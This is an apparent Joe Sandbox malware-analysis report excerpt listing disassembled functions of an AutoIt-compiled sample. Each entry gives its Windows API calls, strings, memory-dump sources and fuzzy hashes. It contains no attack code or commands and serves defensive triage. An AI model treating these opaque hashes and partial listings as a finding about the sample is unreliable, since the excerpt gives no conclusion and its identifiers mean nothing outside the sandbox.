                                      • Instruction ID: 69d97b4cf91d7aef4a6dcd365f5d2f5f8e43d870de3343c29a195fe1dbddd9fc
                                      • Opcode Fuzzy Hash: 500d151f4d713f2cbfc86bc7f8d07be1135c99b52070bece4be6e28173dc9b7d
                                      • Instruction Fuzzy Hash: 643107B5A0120A9FDF14CFA9D880FDA7BB9FB09304F14416AE904AB351D770A951CF90
                                      Function 00943122 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 009431AF
                                      • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 009431BA
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend
                                      • String ID: Combobox
                                      • API String ID: 3850602802-2096851135
                                      • Opcode ID: 58d40301156e13d16adcb84423d7eabe8effd7070fc192b622ab17382cbbfed7
                                      • Instruction ID: 9430e3f60401dc374d1e8c18dfa4cbf6713e3af96151d680345882701e5ae6db
                                      • Opcode Fuzzy Hash: 58d40301156e13d16adcb84423d7eabe8effd7070fc192b622ab17382cbbfed7
                                      • Instruction Fuzzy Hash: 0311B2713142086FEF158F64DC80EFB376EEB89364F108124F9189B290D675AD5187A0
                                      Function 00943643 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B79B6: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 008B79F4
                                        • Part of subcall function 008B79B6: GetStockObject.GDI32(00000011), ref: 008B7A08
                                        • Part of subcall function 008B79B6: SendMessageW.USER32(00000000,00000030,00000000), ref: 008B7A12
                                      • GetWindowRect.USER32(00000000,?), ref: 009436AD
                                      • GetSysColor.USER32(00000012), ref: 009436C7
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$ColorCreateMessageObjectRectSendStock
                                      • String ID: static
                                      • API String ID: 1983116058-2160076837
                                      • Opcode ID: e84cb3e65045ed32d7fadc18d47ba2c600aeeafdd532478b126ff37178e8df41
                                      • Instruction ID: 653e9e9f59dabd1736c544a40ee54d9a2971de5f4ad73747ecd0b126c8656e0d
                                      • Opcode Fuzzy Hash: e84cb3e65045ed32d7fadc18d47ba2c600aeeafdd532478b126ff37178e8df41
                                      • Instruction Fuzzy Hash: 0311267262020AAFDB00DFB8CC46EEE7BB8FB09354F114914F956E3250E675E851DB60
                                      Function 0092CC3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0092CC9B
                                      • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0092CCC4
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Internet$OpenOption
                                      • String ID: <local>
                                      • API String ID: 942729171-4266983199
                                      • Opcode ID: bb4d3534040c13c5b1f158974ac65f490df96f443369edbed7cfbc65094fecca
                                      • Instruction ID: e8dc8b36c6a62f537b8facc1a921688ca81d4cb3eb90d8a8993b33c797cee2c5
                                      • Opcode Fuzzy Hash: bb4d3534040c13c5b1f158974ac65f490df96f443369edbed7cfbc65094fecca
                                      • Instruction Fuzzy Hash: E811C6B1255632BAD7388B66AC49EFBBE5CEF127A4F004616B19E93180D2649940D6F0
                                      Function 0094335C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetWindowTextLengthW.USER32(00000000), ref: 009433DE
                                      • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 009433ED
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LengthMessageSendTextWindow
                                      • String ID: edit
                                      • API String ID: 2978978980-2167791130
                                      • Opcode ID: afdb4b90d0423522d60d54c45845a0918b74b46329305a57f6a0491f790e8a76
                                      • Instruction ID: 87afed9293d783905b65a0f6727b9f4404f47a5f76941e5bbedddf3d8df5fa80
                                      • Opcode Fuzzy Hash: afdb4b90d0423522d60d54c45845a0918b74b46329305a57f6a0491f790e8a76
                                      • Instruction Fuzzy Hash: C4119A71224208AFEB108E749C44EFB3B6EEB45378F908714F964922E0DB75EC51AB60
                                      Function 00916BDC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                      • CharUpperBuffW.USER32(?,?,?), ref: 00916C0C
                                      • _wcslen.LIBCMT ref: 00916C18
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$BuffCharUpper
                                      • String ID: STOP
                                      • API String ID: 1256254125-2411985666
                                      • Opcode ID: 45ddfa3927e20302388d93d018f4b5f1b47f2d8002af43678ca8479eda74672d
                                      • Instruction ID: 55f3790ed078947626a644f5eb1ba170fb957c5f809327cf8d327afa78f3ab19
                                      • Opcode Fuzzy Hash: 45ddfa3927e20302388d93d018f4b5f1b47f2d8002af43678ca8479eda74672d
                                      • Instruction Fuzzy Hash: F901A132B1052B8ACB11AEBDCC809FF77A9FA617147400928E9E1D7290EB70D9809690
                                      Function 00911B1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                        • Part of subcall function 00913BEF: GetClassNameW.USER32(?,?,000000FF), ref: 00913C12
                                      • SendMessageW.USER32(?,00000180,00000000,?), ref: 00911B8A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ClassMessageNameSend_wcslen
                                      • String ID: ComboBox$ListBox
                                      • API String ID: 624084870-1403004172
                                      • Opcode ID: b4cd9ae8ed00bbf5e3d1240bfd882799381c62dfbe7f13f9190da805b8935e95
                                      • Instruction ID: 2e1847291ef826277bf9bda74e96a2ce355f78607e259a082e028a64be19b546
                                      • Opcode Fuzzy Hash: b4cd9ae8ed00bbf5e3d1240bfd882799381c62dfbe7f13f9190da805b8935e95
                                      • Instruction Fuzzy Hash: 1201A7B5B8910C7BCB14EBA4C951EFE73ACDB56380F500015A506B7291FA95DE08C671
                                      Function 00911BA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                        • Part of subcall function 00913BEF: GetClassNameW.USER32(?,?,000000FF), ref: 00913C12
                                      • SendMessageW.USER32(?,00000182,?,00000000), ref: 00911C0C
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ClassMessageNameSend_wcslen
                                      • String ID: ComboBox$ListBox
                                      • API String ID: 624084870-1403004172
                                      • Opcode ID: 9f42dde60ec8a2d8314049d66911818a58e41b34589ac85ed996bc59bd5c0231
                                      • Instruction ID: 85b7d14e306a51b3c000585ae54af76cd2896e8a5e31fff875e434e95655c90b
                                      • Opcode Fuzzy Hash: 9f42dde60ec8a2d8314049d66911818a58e41b34589ac85ed996bc59bd5c0231
                                      • Instruction Fuzzy Hash: 7F01D6B5B8510CB7CB14EFA8C951EFF73ACDB12380F504015B946B3291EAA5CF4986B2
                                      Function 009373A5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen
                                      • String ID: 3, 3, 16, 0
                                      • API String ID: 176396367-3261555341
                                      • Opcode ID: 926e027e5c12e2b04410977cef8cd9313b25334b73b7f43e18f237ec2ad531bf
                                      • Instruction ID: 8b3ee8d33dd27c2440f907c8d4d19efa7f70c2e795abfd14e8b64a6e0f255c89
                                      • Opcode Fuzzy Hash: 926e027e5c12e2b04410977cef8cd9313b25334b73b7f43e18f237ec2ad531bf
                                      • Instruction Fuzzy Hash: 2CE0658624535021923122BDBDD1A7F9689EFC9791B10243BF985C2365EB908C92A391
                                      Function 00910A59 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00910A67
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Message
                                      • String ID: AutoIt$Error allocating memory.
                                      • API String ID: 2030045667-4017498283
                                      • Opcode ID: c19d5b2771716243286e34285674d7b0dbd4dd96b665258ed909ac92dcaafcea
                                      • Instruction ID: 544cefc7551be149b641f6c64bd5cb2369390fca7ccc95069597c7caf07b7ba0
                                      • Opcode Fuzzy Hash: c19d5b2771716243286e34285674d7b0dbd4dd96b665258ed909ac92dcaafcea
                                      • Instruction Fuzzy Hash: 2BE0D83238930867D2103A98AC03FC97BD9DF49B11F10442AF748D51C38EE25480429A
                                      Function 008D0CC2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CF8A8: InitializeCriticalSectionAndSpinCount.KERNEL32(00980A88,00000000,00980A74,008D0CF1,?,?,?,008B100A), ref: 008CF8AD
                                      • IsDebuggerPresent.KERNEL32(?,?,?,008B100A), ref: 008D0CF5
                                      • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,008B100A), ref: 008D0D04
                                      Strings
                                      • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 008D0CFF
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
                                      • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                      • API String ID: 55579361-631824599
                                      • Opcode ID: ba9fed9394dfce019de50169fd6b26c5000aa33fef5aec1e1fed9bfd84ee8df1
                                      • Instruction ID: 6cfc41215af9965c5f3c151d253abf8d429e32729189ec813d2e52b79ba01bf9
                                      • Opcode Fuzzy Hash: ba9fed9394dfce019de50169fd6b26c5000aa33fef5aec1e1fed9bfd84ee8df1
                                      • Instruction Fuzzy Hash: 7EE06D742007018FD7709FA8D814B427BE5FB00746F108A2EE496C3752DBF4E4448FA2
                                      Function 0090D9B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LocalTime
                                      • String ID: %.3d$X64
                                      • API String ID: 481472006-1077770165
                                      • Opcode ID: 3d8c20590a23b819faedc28cceef8c1c1ee390c3177f8210077c6b81ae339e9f
                                      • Instruction ID: 468e0c18529ada159a696635a321598f232d868c533c00885726321c62dcbc1c
                                      • Opcode Fuzzy Hash: 3d8c20590a23b819faedc28cceef8c1c1ee390c3177f8210077c6b81ae339e9f
                                      • Instruction Fuzzy Hash: 5CD0127590E218EDCB809BD09C45DBAB37CFB48304F608852F90AE1080E678D548AB21
                                      Function 00942289 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0094229F
                                      • PostMessageW.USER32(00000000), ref: 009422A6
                                        • Part of subcall function 0091E899: Sleep.KERNEL32 ref: 0091E911
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FindMessagePostSleepWindow
                                      • String ID: Shell_TrayWnd
                                      • API String ID: 529655941-2988720461
                                      • Opcode ID: ea6daa17cfe81e859ea38aa5ebef148a4e1a8bda536ded27ae9f5b7209a4c0ff
                                      • Instruction ID: ae36099b892726b14e7c2cb6ca3fd08a389dbb1b99dd83d885d97c7f1b08464f
                                      • Opcode Fuzzy Hash: ea6daa17cfe81e859ea38aa5ebef148a4e1a8bda536ded27ae9f5b7209a4c0ff
                                      • Instruction Fuzzy Hash: D7D0C9B57AA3157AE2A8A770AC0FFCA6A149B86B11F0189167B45AA1D0C9A4A8009654
                                      Function 00942255 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0094225F
                                      • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00942272
                                        • Part of subcall function 0091E899: Sleep.KERNEL32 ref: 0091E911
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FindMessagePostSleepWindow
                                      • String ID: Shell_TrayWnd
                                      • API String ID: 529655941-2988720461
                                      • Opcode ID: 9c72b803a09e121e15d45c3af41e1fab3c152ba6d2828e8383a659e6c0762f14
                                      • Instruction ID: bdb19bc26e4191d9df5c3259ba4576419d02db7de9cee44688e9006e796768f4
                                      • Opcode Fuzzy Hash: 9c72b803a09e121e15d45c3af41e1fab3c152ba6d2828e8383a659e6c0762f14
                                      • Instruction Fuzzy Hash: 5FD022B93AD3017BE3A8B330EC0FFCA6A149F81B00F0188027B09AA1C0C8F0A800C700